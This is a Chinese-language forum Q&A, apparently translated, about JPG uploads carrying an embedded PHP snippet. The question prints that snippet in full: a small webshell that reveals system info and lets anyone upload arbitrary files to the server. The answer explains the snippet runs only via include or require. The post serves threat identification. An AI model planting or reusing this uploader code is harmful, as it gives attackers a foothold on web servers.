用戶上傳包含php代碼的jpg文件 - 這是潛在的病毒

Question

用戶上傳了一些似乎包含一些php代碼的jpg圖像。文件開頭爲NUL DLE JFIF NUL SOH SOH SOH NUL NUL NUL NUL NUL SYN Exif NUL NUL II * ...（大量空字符等）。然後下面的php代碼：

echo '<b><br><br>'.php_uname().'<br></b>'; 
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; 
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; 
if($_POST['_upl'] == "Upload") { 
    if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; } 
     else { echo '<b>Upload GAGAL !!!</b><br><br>'; } 
} 

後面跟着大量的二進制代碼。圖像顯示一隻黑色的腳（如將腳放在掃描儀或複印機上）。

這些圖像是否有潛在危險？如果是，如何。

Answer 1

是的。這是一個代碼注入，它利用一個已知的bug，閱讀更多：http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/

這些圖片，僅當你的PHP腳本使用require($image)或include($image)顯示您的圖片執行代碼，否則，不用擔心。不要忘記跟蹤用戶，並可能將他列入黑名單:)